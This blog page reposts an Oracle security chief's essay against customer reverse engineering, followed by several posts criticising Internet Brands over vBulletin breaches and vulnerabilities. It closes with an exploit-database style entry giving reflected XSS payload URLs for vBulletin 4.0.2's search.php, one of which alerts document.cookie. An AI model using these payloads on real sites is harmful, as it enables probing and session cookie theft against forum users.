Repost of: “No, You Really Can’t” by Mary Ann Davidson

This is a copy of a recently deleted blog entry by Oracle Chief Security Officer (CSO) Mary Ann Davidson. It was some of the best writing we have seen in quite sometime that we felt it was worthwhile to post a copy on this blog for posterity. A more formal reply will be composed after we stop laughing hysterically.

No, You Really Can’t – by Mary Ann Davidson

I have been doing a lot of writing recently. Some of my writing has been with my sister, with whom I write murder mysteries using the nom-de-plume Maddi Davidson. Recently, we’ve been working on short stories, developing a lot of fun new ideas for dispatching people (literarily speaking, though I think about practical applications occasionally when someone tailgates me).

Writing mysteries is a lot more fun than the other type of writing I’ve been doing. Recently, I have seen a large-ish uptick in customers reverse engineering our code to attempt to find security vulnerabilities in it. <Insert big sigh here.> This is why I’ve been writing a lot of letters to customers that start with “hi, howzit, aloha” but end with “please comply with your license agreement and stop reverse engineering our code, already.”

I can understand that in a world where it seems almost every day someone else had a data breach and lost umpteen gazillion records to unnamed intruders who may have been working at the behest of a hostile nation-state, people want to go the extra mile to secure their systems. That said, you would think that before gearing up to run that extra mile, customers would already have ensured they’ve identified their critical systems, encrypted sensitive data, applied all relevant patches, be on a supported product release, use tools to ensure configurations are locked down – in short, the usual security hygiene – before they attempt to find zero day vulnerabilities in the products they are using. And in fact, there are a lot of data breaches that would be prevented by doing all that stuff, as unsexy as it is, instead of hyperventilating that the Big Bad Advanced Persistent Threat using a zero-day is out to get me! Whether you are running your own IT show or a cloud provider is running it for you, there are a host of good security practices that are well worth doing.

Even if you want to have reasonable certainty that suppliers take reasonable care in how they build their products – and there is so much more to assurance than running a scanning tool – there are a lot of things a customer can do like, gosh, actually talking to suppliers about their assurance programs or checking certifications for products for which there are Good Housekeeping seals for (or “good code” seals) like Common Criteria certifications or FIPS-140 certifications. Most vendors – at least, most of the large-ish ones I know – have fairly robust assurance programs now (we know this because we all compare notes at conferences). That’s all well and good, is appropriate customer due diligence and stops well short of “hey, I think I will do the vendor’s job for him/her/it and look for problems in source code myself,” even though:

  • A customer can’t analyze the code to see whether there is a control that prevents the attack the scanning tool is screaming about (which is most likely a false positive)
  • A customer can’t produce a patch for the problem – only the vendor can do that
  • A customer is almost certainly violating the license agreement by using a tool that does static analysis (which operates against source code)

I should state at the outset that in some cases I think the customers doing reverse engineering are not always aware of what is happening because the actual work is being done by a consultant, who runs a tool that reverse engineers the code, gets a big fat printout, drops it on the customer, who then sends it to us. Now, I should note that we don’t just accept scan reports as “proof that there is a there, there,” in part because whether you are talking static or dynamic analysis, a scan report is not proof of an actual vulnerability. Often, they are not much more than a pile of steaming … FUD. (That is what I planned on saying all along: FUD.) This is why we require customers to log a service request for each alleged issue (not just hand us a report) and provide a proof of concept (which some tools can generate).

If we determine as part of our analysis that scan results could only have come from reverse engineering (in at least one case, because the report said, cleverly enough, “static analysis of Oracle XXXXXX”), we send a letter to the sinning customer, and a different letter to the sinning consultant-acting-on-customer’s behalf – reminding them of the terms of the Oracle license agreement that preclude reverse engineering, So Please Stop It Already. (In legalese, of course. The Oracle license agreement has a provision such as: “Customer may not reverse engineer, disassemble, decompile, or otherwise attempt to derive the source code of the Programs…” which we quote in our missive to the customer.) Oh, and we require customers/consultants to destroy the results of such reverse engineering and confirm they have done so.

Why am I bringing this up? The main reason is that, when I see a spike in X, I try to get ahead of it. I don’t want more rounds of “you broke the license agreement,” “no, we didn’t,” yes, you did,” “no, we didn’t.” I’d rather spend my time, and my team’s time, working on helping development improve our code than argue with people about where the license agreement lines are.

Now is a good time to reiterate that I’m not beating people up over this merely because of the license agreement. More like, “I do not need you to analyze the code since we already do that, it’s our job to do that, we are pretty good at it, we can – unlike a third party or a tool – actually analyze the code to determine what’s happening and at any rate most of these tools have a close to 100% false positive rate so please do not waste our time on reporting little green men in our code.” I am not running away from our responsibilities to customers, merely trying to avoid a painful, annoying, and mutually-time wasting exercise.

For this reason, I want to explain what Oracle’s purpose is in enforcing our license agreement (as it pertains to reverse engineering) and, in a reasonably precise yet hand-wavy way, explain “where the line is you can’t cross or you will get a strongly-worded letter from us.” Caveat: I am not a lawyer, even if I can use words like stare decisis in random conversations. (Except with my dog, because he only understands Hawaiian, not Latin.) Ergo, when in doubt, refer to your Oracle license agreement, which trumps anything I say herein!

With that in mind, a few FAQ-ish explanations:

Question: What is reverse engineering?
Answer: Generally, our code is shipped in compiled (executable) form (yes, I know that some code is interpreted). Customers get code that runs, not the code “as written.” That is for multiple reasons such as users generally only need to run code, not understand how it all gets put together, and the fact that our source code is highly valuable intellectual property (which is why we have a lot of restrictions on who accesses it and protections around it). The Oracle license agreement limits what you can do with the as-shipped code and that limitation includes the fact that you aren’t allowed to de-compile, dis-assemble, de-obfuscate or otherwise try to get source code back from executable code. There are a few caveats around that prohibition but there isn’t an “out” for “unless you are looking for security vulnerabilities in which case, no problem-o, mon!”

If you are trying to get the code in a different form from the way we shipped it to you – as in, the way we wrote it before we did something to it to get it in the form you are executing, you are probably reverse engineering. Don’t. Just – don’t.

Question: What is Oracle’s policy in regards to the submission of security vulnerabilities (found by tools or not)?
Answer: We require customers to open a service request (one per vulnerability) and provide a test case to verify that the alleged vulnerability is exploitable. The purpose of this policy is to try to weed out the very large number of inaccurate findings by security tools (false positives).

Question: Why are you going after consultants the customer hired? The consultant didn’t sign the license agreement!
Answer: The customer signed the Oracle license agreement, and the consultant hired by the customer is thus bound by the customer’s signed license agreement. Otherwise everyone would hire a consultant to say (legal terms follow) “Nanny, nanny boo boo, big bad consultant can do X even if the customer can’t!”

Question: What does Oracle do if there is an actual security vulnerability?
Answer: I almost hate to answer this question because I want to reiterate that customers Should Not and Must Not reverse engineer our code. However, if there is an actual security vulnerability, we will fix it. We may not like how it was found but we aren’t going to ignore a real problem – that would be a disservice to our customers. We will, however, fix it to protect all our customers, meaning everybody will get the fix at the same time. However, we will not give a customer reporting such an issue (that they found through reverse engineering) a special (one-off) patch for the problem. We will also not provide credit in any advisories we might issue. You can’t really expect us to say “thank you for breaking the license agreement.”

Question: But the tools that decompile products are getting better and easier to use, so reverse engineering will be OK in the future, right?
Answer: Ah, no. The point of our prohibition against reverse engineering is intellectual property protection, not “how can we cleverly prevent customers from finding security vulnerabilities – bwahahahaha – so we never have to fix them – bwahahahaha.” Customers are welcome to use tools that operate on executable code but that do not reverse engineer code. To that point, customers using a third party tool or service offering would be well-served by asking questions of the tool (or tool service) provider as to a) how their tool works and b) whether they perform reverse engineering to “do what they do.” An ounce of discussion is worth a pound of “no we didn’t,” “yes you did,” “didn’t,” “did” arguments. *

Question: “But I hired a really cool code consultant/third party code scanner/whatever. Why won’t mean old Oracle accept my scan results and analyze all 400 pages of the scan report?”
Answer: Hoo-boy. I think I have repeated this so much it should be a song chorus in a really annoying hip hop piece but here goes: Oracle runs static analysis tools ourselves (heck, we make them), many of these goldurn tools are ridiculously inaccurate (sometimes the false positive rate is 100% or close to it), running a tool is nothing, the ability to analyze results is everything, and so on and so forth. We put the burden on customers or their consultants to prove there is a There, There because otherwise, we waste a boatload of time analyzing – nothing** – when we could be spending those resources, say, fixing actual security vulnerabilities.

Question: But one of the issues I found was an actual security vulnerability so that justifies reverse engineering, right?
Answer: Sigh. At the risk of being repetitive, no, it doesn’t, just like you can’t break into a house because someone left a window or door unlocked. I’d like to tell you that we run every tool ever developed against every line of code we ever wrote, but that’s not true. We do require development teams (on premises, cloud and internal development organizations) to use security vulnerability-finding tools, we’ve had a significant uptick in tools usage over the last few years (our metrics show this) and we do track tools usage as part of Oracle Software Security Assurance program. We beat up – I mean, “require” – development teams to use tools because it is very much in our interests (and customers’ interests) to find and fix problems earlier rather than later.

That said, no tool finds everything. No two tools find everything. We don’t claim to find everything. That fact still doesn’t justify a customer reverse engineering our code to attempt to find vulnerabilities, especially when the key to whether a suspected vulnerability is an actual vulnerability is the capability to analyze the actual source code, which – frankly – hardly any third party will be able to do, another reason not to accept random scan reports that resulted from reverse engineering at face value, as if we needed one.

Question: Hey, I’ve got an idea, why not do a bug bounty? Pay third parties to find this stuff!
Answer: <Bigger sigh.> Bug bounties are the new boy band (nicely alliterative, no?) Many companies are screaming, fainting, and throwing underwear at security researchers**** to find problems in their code and insisting that This Is The Way, Walk In It: if you are not doing bug bounties, your code isn’t secure. Ah, well, we find 87% of security vulnerabilities ourselves, security researchers find about 3% and the rest are found by customers. (Small digression: I was busting my buttons today when I found out that a well-known security researcher in a particular area of technology reported a bunch of alleged security issues to us except – we had already found all of them and we were already working on or had fixes. Woo hoo!)

I am not dissing bug bounties, just noting that on a strictly economic basis, why would I throw a lot of money at 3% of the problem (and without learning lessons from what you find, it really is “whack a code mole”) when I could spend that money on better prevention like, oh, hiring another employee to do ethical hacking, who could develop a really good tool we use to automate finding certain types of issues, and so on. This is one of those “full immersion baptism” or “sprinkle water over the forehead” issues – we will allow for different religious traditions and do it OUR way – and others can do it THEIR way. Pax vobiscum.

Question: If you don’t let customers reverse engineer code, they won’t buy anything else from you.
Answer: I actually heard this from a customer. It was ironic because in order for them to buy more products from us (or use a cloud service offering), they’d have to sign – a license agreement! With the same terms that the customer had already admitted violating. “Honey, if you won’t let me cheat on you again, our marriage is through.” “Ah, er, you already violated the ‘forsaking all others’ part of the marriage vow so I think the marriage is already over.”

The better discussion to have with a customer —and I always offer this — is for us to explain what we do to build assurance into our products, including how we use vulnerability finding tools. I want customers to have confidence in our products and services, not just drop a letter on them.

Question: Surely the bad guys and some nations do reverse engineer Oracle’s code and don’t care about your licensing agreement, so why would you try to restrict the behavior of customers with good motives?
Answer: Oracle’s license agreement exists to protect our intellectual property. “Good motives” – and given the errata of third party attempts to scan code the quotation marks are quite apropos – are not an acceptable excuse for violating an agreement willingly entered into. Any more than “but everybody else is cheating on his or her spouse” is an acceptable excuse for violating “forsaking all others” if you said it in front of witnesses.

At this point, I think I am beating a dead – or should I say, decompiled – horse. We ask that customers not reverse engineer our code to find suspected security issues: we have source code, we run tools against the source code (as well as against executable code), it’s actually our job to do that, we don’t need or want a customer or random third party to reverse engineer our code to find security vulnerabilities. And last, but really first, the Oracle license agreement prohibits it. Please don’t go there.

* I suspect at least part of the anger of customers in these back-and-forth discussions is because the customer had already paid a security consultant to do the work. They are angry with us for having been sold a bill of goods by their consultant (where the consultant broke the license agreement).

** The only analogy I can come up with is – my bookshelf. Someone convinced that I had a prurient interest in pornography could look at the titles on my bookshelf, conclude they are salacious, and demand an explanation from me as to why I have a collection of steamy books. For example (these are all real titles on my shelf):

 

    1. Thunder Below! (“whoo boy, must be hot stuff!”)
    2. Naked Economics (“nude Keynesians!”)***
    3. Inferno (“even hotter stuff!”)
    4. At Dawn We Slept (“you must be exhausted from your, ah, nighttime activities…”)

My response is that I don’t have to explain my book tastes or respond to baseless FUD. (If anybody is interested, the actual book subjects are, in order, 1) the exploits of WWII submarine skipper and Congressional Medal of Honor recipient CAPT Eugene Fluckey, USN 2) a book on economics 3) a book about the European theater in WWII and 4) the definitive work concerning the attack on Pearl Harbor. )

*** Absolutely not, I loathe Keynes. There are more extant dodos than actual Keynesian multipliers. Although “dodos” and “true believers in Keynesian multipliers” are interchangeable terms as far as I am concerned.

**** I might be exaggerating here. But maybe not.

vBulletin: Exploits, Bugs, Exposed Customer Data – We’ve got it all!

“The world as we have created it is a process of our thinking. It cannot be changed without changing our thinking.” ― Albert Einstein

Perhaps Internet Brands (IB) could learn a thing or two from this quote by Einstein. In their eyes, things were looking up for them. For a period of nearly three years, IB was in the news for the lawsuit they filed against XenForo. This lawsuit happened to coincide first public beta release of XenForo as IB announced the lawsuit one day prior to XF beta launch and claimed it was a mere coincidence. IB was also accused of bullying XF and its developers Kier Darby and Mike Sullivan so they received some negative attention for it. After the lawsuit was finally settled in February 2013, IB was hopeful to put this behind them and move on, and was hoping people would essentially forget about the previous events that took place in fear that it would continue to “tarnish” their reputation.  In the mean time in the private license holder forum at vBulletin we have vB staff members openly bashing customers, disrespecting them and showing absolutely no professionalism at all towards customers.

The reality is, the great reputation vB once had only came due to the strong community and quality development of the old team before Jelsoft was acquired by Internet Brands, and this is when things started to go downhill (in 2009 Kier Darby, Mike Sullivan and Scott MacVicar all left vB/IB)

IB was merely riding the wave of the old development team and the older quality versions of vB and as expected once the original core team left, the quality of the product suffered as a result: This brings us to vBulletin 5 Connect. Not only was vB5 released as “gold” lacking many basic features that vB4 had but the forum software is considered to be a joke by many forum administrators and even some of the largest forum sites that were previously using vBulletin made the switch to XenForo ditching vB all together.

This takes us back to the quote above and the lack of change IB is doing with their thinking. Internet Brands continues to treat their customers so poorly and with such disrespect. The heads at IB made a terrible move by essentially forcing out the old, extremely qualified developers. They followed this bad move by filing a frivolous lawsuit against XF which only lead to increased negative attention and uproar from the community. They ignored any feedback from the community (i.e., their customers) and made a bad situation even worse by releasing the joke of a software that is vBulletin 5…But wait there’s more! In the latest fiasco which Veritas covered earlier – a recent breach on vBulletin.com which resulted in vBulletin sending out emails urging users to change their passwords because of this hack. The hacker group claimed they used a zero-day exploit, an exploit for a previously unknown vulnerability in order to compromise the vBulletin.com server and download the user database. In sum, vBulletin was using a copy of the live database on a test system and “forgot” to patch it to fix this bug. In doing this, they left the door open to these hackers and risked (and exposed) the personal details of us, the customers.
How’s that for quality?

Some free advice for you Internet Brands: change your thinking, stop disrespecting and ignoring your customers and learn from the mistakes you have made from the past if you want any chance to succeed. Doing otherwise will result you being a mere footnote in Wikipedia when people are reading about vB vs. XF since most people will have migrated to XenForo by then.

Potential vBulletin Exploit (vBulletin 4.1+, vBulletin 5+)

Are you surprised? I’m not. There are more bugs in vBulletin than a roach motel. Can someone please call the exterminator?

It’s rather amusing Internet Brands does not even know where the vulnerability is in THEIR OWN software. If they can’t even find it when it is pointed out to someone, how do you expect Internet Brands to deliver a bug-free product?

Here is the initial security advisory.

A potential exploit vector has been found in the vBulletin 4.1+ and 5+ installation directories. Our developers are investigating this issue at this time. If deemed necessary we will release the necessary patches. In order to prevent this issue on your vBulletin sites, it is recommended that you delete the install directory for your installation. The directories that should be deleted are:

4.X – /install/
5.X – /core/install

After deleting these directories your sites can not be affected by the issues that we’re currently investigating.

vBulletin 3.X and pre-4.1 would not be affected by these issues. However if you want the best security precautions, you can delete your install directory as well.

Source: vBulletin

Start ‘Splaining

I want answers and I want them now. This is completely and utterly ridiculous. Absurd. A complete farce.

Never have I ever been so concern than I was two days ago. After watching this ridiculous security flaw unfold, and talking it over with Chronos, he made a strong point. HOW THE !@#$%& DO YOU SCREW UP A STABLE PLATFORM LIKE VBULLETIN 3.8?!?!!

We’ve had our fair share of vulnerabilities when vBulletin was under Jelsoft. They varied from Cross Site Request Forgeries, Cross Site Scripting Vulnerabilities and SQL Injections. NEVER EVER had I ever seen a vulnerability as bad as the one introduced by Internet Brands. A vulnerability that could potentially expose your SQL Username, SQL Password, SQL Server and SQL Port information? My God!

Vulnerabilities were at least contained strictly to the application itself, but now it has completely spread beyond the application and allowing script kiddies direct access into people’s database server.

I find that extremely unsettling. To err is human, to screw up a stable version of vBulletin requires Internet Brands.

More vBulletin Security Flaws – Yes Please, May I Have Another?

As many are now aware, a recent security flaw was discovered in vBulletin 3.8.6 which could potentially allow a hacker to gain crucial information such as the MySQL username and password. Although Internet Brands was quick to release a patch and fix this issue, the question still stands – How did this happen?

No doubt the die-hard IB fans will say it’s perfectly normal and expected that software have some bugs, as it’s part of the process, and I agree with this to a point, but to have a flaw as big as this is completely unacceptable. We’re not talking about a minor bug, we are talking about extremely critical administrator information being potentially exposed to anyone in a few simple steps to take advantage of this flaw. How does this make it past QA, and if they are missing flaws this extreme, what else lies beneath that we have yet to discover? With vBulletin 3 being as mature as it is, should we not have higher expectations, or is that asking too much?

Bravo, you have really outdone yourself this time Internet Brands.

What do the rest of you think? Is this something that’s acceptable or are we blowing this out of proportion?

Cross Site Scripting Vulnerability for Internet Brands vBulletin 4.0.2 Patch Level 1

Vendor: Internet Brands (Nasdaq: INET)
Software: vBulletin
Version: 4.0.2 Patch Level 1
Type: Cross Site Scripting

[+] Discovered By: 5ubzer0
[+] My id : http://inj3ct0r.com/author/2307
[+] Original : http://inj3ct0r.com/exploits/9697
# Version: Vbulletin 4.0.2

www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=">
<script>alert('xss');</script>
www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=">
<script>alert(document.cookie);</script>